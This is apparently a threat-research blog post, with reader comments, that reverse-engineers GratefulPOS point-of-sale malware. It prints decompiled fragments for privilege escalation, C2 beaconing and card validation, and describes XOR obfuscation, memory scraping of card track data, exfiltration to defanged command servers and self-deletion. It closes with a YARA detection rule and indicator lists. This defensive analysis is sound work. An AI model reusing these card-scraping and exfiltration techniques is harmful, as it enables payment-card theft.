Let’s Learn: Reversing "GratefulPOS" Point-of-Sale Malware in-Depth

Goal: Reverse the latest Point-of-Sale (POS) malware dubbed “GratefulPOS” in-depth including some of the notable source code-level insights.

Source: RSA FirstWatch Blog 
POS Malware Brief:
  • POS malware targets targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. 


GratefulPOS Background:
  • Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally,  this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past. All in all, the GratefulPOS malware appears to communicate via DNS with the purported “grp1” campaign identifier and contains debug Track 2 data presumably for testing purposes.

Deep dive into the GratefulPOS malware:

I. Malware Service Installation and Persistence
II. Byte String Build and XOR Encoder with Key “0AAh”
III. Memory Scraping Debug Privilege 
IV. Client-Server Communications
V. Logger File and Collector File Generation
VI. Scraping Process Whitelisting
VII. Memory Scraping Logic
VIII. Luhn Algorithm
X. Self-Deletion Process
XI. Yara Signature
I. Malware Service Installation and Persistence
The first thing that this GratefuPOS malware does is creates itself up as a service for persistence.
The malware masks itself as a legitimate-looking service titled “LogMeIn Hamachi Launcher” with the short name of “LogMeInHamachi”. For those unfamiliar, LogMeIn Hamachi is a “virtual private network (VPN) application that is capable of establishing direct links between computers that are behind NAT firewalls without requiring reconfiguration (when the user’s PC can be accessed directly without relays from the Internet/WAN side).” Such VPN software is extremely popular amongst administrators and technicians who might need to remotely login to the point-of-sale card network to address IT administrative and network issues.

The malware control function contains the following four functions:
The install function leverages usual OpenSCManagerA, CreateServiceA to create the service with the description “Provides launch functionality for LogMeInHamachi services.” Additionally, it creates a unique mutex titled ‘DLLLaunchasdf1

II. XOR Byte String Build and XOR Obfuscation with Key “0AAh

Throughout its execution, the malware builds some notable strings via xoring the byte section in the loop *(&byte_memory ++) ^= 0x4Dh (via sequence of mov, xor, shl, movsx, and shl calls) displaying the strings as follows:
Oftentimes, malware coders build string paths to bypass some static anti-virus detection.
Notably, the GratefulPOS malware obfuscates its stolen data via the hardcoded XOR byte key to strings as follows:

*((_BYTE *)value + iter) ^= 0AAh

and converts it into hexadecimals adding to snprintf API call. The hardcoded xor byte key used is “0AAh.” Additionally, the malware checks the hardcoded string array while it XOR’s the data. The XOR key function location is as follows:

——-        ——–         
Address        Function                                 
——-        ——–             
.text:004030DB notice_write_func  
.text:00403847 memory_parser 
.text:00403873 memory_parser 
.text:004039DE memory_parser     
.text:00406C43 computer_name_gen

III. Memory Scraping Debug Privilege 

Then, the POS malware tries to obtain “SeDebugPrivilege” access for memory parsing leveraging the combination of GetCurrentProcess, OpenProcessToken, LookupPrivilegeValueA, and AdjustTokenPrivileges API calls.

int __cdecl sedebug_escalation(LPCSTR lpName)
  HANDLE v1; 
  int result; 
  DWORD ReturnLength; 
  HANDLE TokenHandle;
  struct _TOKEN_PRIVILEGES NewState;

  memset(&NewState, 0, 0x10u);                  // GratefulPOS obtain SeDebugPrivilege
  NewState.PrivilegeCount = 1;
  v1 = GetCurrentProcess();
  if ( OpenProcessToken(v1, 0xF01FFu, &TokenHandle) )
    if ( LookupPrivilegeValueA(0, lpName, (PLUID)NewState.Privileges) )
      NewState.Privileges[0].Attributes = 2;
      if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, &ReturnLength) )
        result = 1;
        result = 0;
      result = 0;
    result = 0;
  return result;
IV. Client-Server Communications
The malware proceeds to check if the SID using AllocateAndInitializeSid and EqualSid to see if it has succeeded with the call. If the return call equals “1,” the malware copies and stores the string “adm”  indicating admin privileges. Otherwise, GratefulPOS copies and stores the string “nadm” indicating the absence of such privileges. 

Eventually, the malware uses this information as part of the ping.%s.%s.%s.%s storing it as string in the first argument to reach the server ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com (GET /index.php HTTP/1.0, wherein the host username is generated via GetComputerNameA xor’ed with the  byte key used “0AAh” and converted into hexadecimals). All in all, the malware runs the server calls in a separate thread. The POS malware then sleeps randomly for the period of between 2 hours and 3 hours (rand() % 3600000 + 7200000) before the next server call. GratefulPOS also adds the likely campaign identifier as “grp1” to the request when sending the data to the server. Notably, if the malware reads the value as “cccc,” it removes itself from the system. The malware collects both local computer name and its local IP.

signed int __cdecl get_http_resolve_func(int a1)
  signed int result; 
  char v2; 
  int v3; 
  int v4; 
  int v5; 
  int v6; 
  int v7; 
  int v8; 
  int v9; 
  int v10; 
  char v11; 
  char v12; 

  v11 = 0;
  memset(&v12, 0, 0x7FFu);
  _snprintf(&v11, 2047u, “%s.%s.%s.%s”, logmein_bid_value, computer_name, ‘grp1‘, a1, &name);
  v10 = 0;
  v6 = 0;
  memset(&v2, 0, 0x20u);
  v3 = 0;
  v4 = 1;
  v5 = 17;
  v7 = call_c2((int)&v11, (int)”http”, (int)&v2, (int)&v10);
  if ( v7 )
    result = -1;
    v8 = *(_DWORD *)(v10 + 24);
    v9 = *(_DWORD *)(v8 + 4);
    if ( v9 == ‘cccc’ )
    result = 0;
  return result;

V. Logger File and Collector File Generation
The POS malware proceeds to open the file “logmein[.]bid” with read access privileges and read first 10 bytes. If it does not exit it will create a file “logmein[.]bid” with four two-digit random signed integers between 0 and 255 in hexadecimals generated via the rand() % 255 command. This generated string becomes the exfiltration file marker masked as a system “.dat” file.

VI. Scraping Process Whitelisting

Then, the POS malware obtains a snapshot of current running processes via CreateToolhelp32Snapshot and compares it against the whitelisted ones for memory scraping function. The whitelisted functions as follows:

This is done to shorten memory scraping time looking for Track data by excluding known processes not associated with possible point-of-sale software. 

VII. Memory Scraping Logic
GratefulPOS proceeds to read process memory pages leveraging using VirtualQueryEx reading Buffer.State & 0x1000 && Buffer.Protect & 0xCC at a time. The malware also compares if the process file path is at least 5 characters long. Then, the POS malware scans memory regions via ReadProcessMemory API looking for Track 1 and Track 2 data and writing and appending it to the “.dat” file as “tt1.%s.%s.%s.%s” Track 1 data and “tt2.%s.%s” Track 2 data if the matched length is 140 and 60 characters, respectively. The malware also checks if it can reach the server and after several attempts it deletes the stolen data. Additionally, GratefulPOS appends “notice” to the same file to mark debugger output.
The observed structure of the submitted requests data is as follows:

VIII. Luhn Algorithm

The malware also validates the card information by running the Luhn algorithm for any purported track data that does not begin with digits “4” (VISA), “5” (Mastercard), “6” (Discover), “34″ (AMEX), “37” (AMEX), “36” (Diner’s Club), and “300-305” (Diner’s Club).

The Luhn function that verifies the validity of personal account number (PAN) is as follows:
BOOL __cdecl Luhn_Check(char *a1)
  size_t v1;
  int v3; 
  signed int v4; 
  signed int v5; 
  size_t v6; 
  int v7; 
  int v8; 
  int v9; 
  int v10; 
  int v11; 
  int v12; 
  int v13;
  int v14;
  int v15; 
  int v16;

  v7 = 0;
  v8 = 2;
  v9 = 4;
  v10 = 6;
  v11 = 8;
  v12 = 1;
  v13 = 3;
  v14 = 5;
  v15 = 7;
  v16 = 9;
  v5 = 1;
  v4 = 0;
  v6 = strlen(a1);
  while ( 1 )
    v1 = v6–;
    if ( !v1 )
    if ( v5 )
      v3 = a1[v6] – 48;
      v3 = *(&v7 + a1[v6] – 48);
    v4 += v3;
    v5 = v5 == 0;
  return v4 % 10 == 0;
X. Self-Deletion Process

The malware deletes itself removing itself the RUN key registry key as “LogMeIn Hamachi Launcher” and deleting itself as “logmeinlauncher[.]exe” upon reading the instruction “cccc.”


rule crime_win32_gratefulpos_trojan {
                description = “GratefulPOS malware variant”
                author = “@VK_Intel”
                reference = “Detects GratefulPOS”
                date = “2017-12-10”
                $s0 = “conhost.exe” fullword ascii
                $s1 = “del logmeinlauncher.exe” fullword ascii
                $s2 = “Chrome.exe” fullword ascii
                $s3 = “taskmgr.exe” fullword ascii
                $s4 = “firefox.exe” fullword ascii
                $s5 = “logmeinlauncher.exe stop” fullword ascii
                $s6 = “ping -n 1 -w 3000 > nul” fullword ascii
                $s7 = “Ymscoree.dll” fullword wide
                $s8 = “LogMeInHamachi Process Launcher” fullword ascii
                $s9 = “sched.exe” fullword ascii
                $s10 = “wininit.exe” fullword ascii
                $s11 = “wmiprvse.exe” fullword ascii
                $s12 = “RegSrvc.exe” fullword ascii
                $s13 = “mdm.exe” fullword ascii
                $s14 = “GET /index.php HTTP/1.0” fullword ascii
                $s15 = “LogMeIn Hamachi Launcher” fullword ascii
                $s16 = “logmein.bid” fullword ascii
                $s17 = “del sd.bat” fullword ascii
                $s18 = “sd.bat” fullword ascii
                uint16(0) == 0x5a4d and filesize < 500KB and 10 of them

Update (December 21, 2017): Thanks for the feedback in the comment section, I’ve compiled all the IOCs in one table listing Framework/GratefuPOS malware hashes (in SHA1), campaign IDs, service names, and known nameserver C2s.

3e7efa7ad5de8fe7698d993c968bc108ef0350d6 grp02 DllLaunch ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
268f4b8f7c981b04d2d19d4102cdcca6f965d3f3 grp03 DllLaunch ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
77bd272517a3c1abc8f5e07af3a5980becb3652e grp03 LogMeInServer ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
1762b5583552a435528334ffc552b73699e477cb grp05 LogMeInServer ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
d957e492e918ed200268e681907f4c7644b1a211 grp1 LogMeInHamachi ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com
2e7ca3676593674e9d75fb3efc73be62e378f5ce grp10 LogMeInServer ns[.]a23-33-37-54-deploy-akamaitechnologies.[]com
c76c62981f3d6526d799dd93f61559915f09005e grp2 LogMeInHamachi ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com
2d9b601d09bc1e49c94b316263f96d6ee6e57c54 v1702 TrueTypeFontSvc ns[.]a193-108-94-56-deploy-akamaitechnologies[.]com
17b657174313e3e7ce84c030991a271b66eb0840 v1702 TrueTypeFontSvc ns[.]a193-108-94-56-deploy-akamaitechnologies[.]com
04595012daaaf75f0a72db87b76e9fd9401a7a40 v1705 PnPH ns[.]a193-108-94-56-deploy-akamaitechnologies[.]com

7 thoughts on “Let’s Learn: Reversing "GratefulPOS" Point-of-Sale Malware in-Depth”

  1. Thank you Vitali. There is a small typo in string $s18. The rule is working good across all samples I've found with my own YARA, to include these:3f553f9731b26e0e0909314b7eff893c558381da6fb00c8221bf31a866a414a97f46823ddc0a60b4286ca51696afadaecaa1c01fbb872a39ee746c0855f92b7181cea9fe7cfe36e9f0f53489411ec10ddd5780dc1813ab19d26d2b7724ff3b385540b8d51f2190c45aaa5212c866c402f834d5988752537c388dcfecdf89f4e4Thanks,Curt Wilson


  2. Nice analysis! Indeed, this gang appears to be pretty consistent reusing the code; by and large, they just change campaign IDs, server infrastructure, service name, and in some cases they sign their malware with digital certificates. It seems like a pretty minimalistic approach without any process injections etc. to avoid basic AV triggers.


  3. small update on files we've seen:2d9b601d09bc1e49c94b316263f96d6ee6e57c54 d957e492e918ed200268e681907f4c7644b1a211 c76c62981f3d6526d799dd93f61559915f09005e 3e7efa7ad5de8fe7698d993c968bc108ef0350d6268f4b8f7c981b04d2d19d4102cdcca6f965d3f3 17b657174313e3e7ce84c030991a271b66eb0840 04595012daaaf75f0a72db87b76e9fd9401a7a40 connects to ns.a193-45-3-47-deploy-akamaitechnologies.]comns.a193-108-94-56-deploy-akamaitechnologies.]comns.a23-33-37-54-deploy-akamaitechnologies.]comlogmein.]bidttfmgr.]biddspsvc.]bid


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: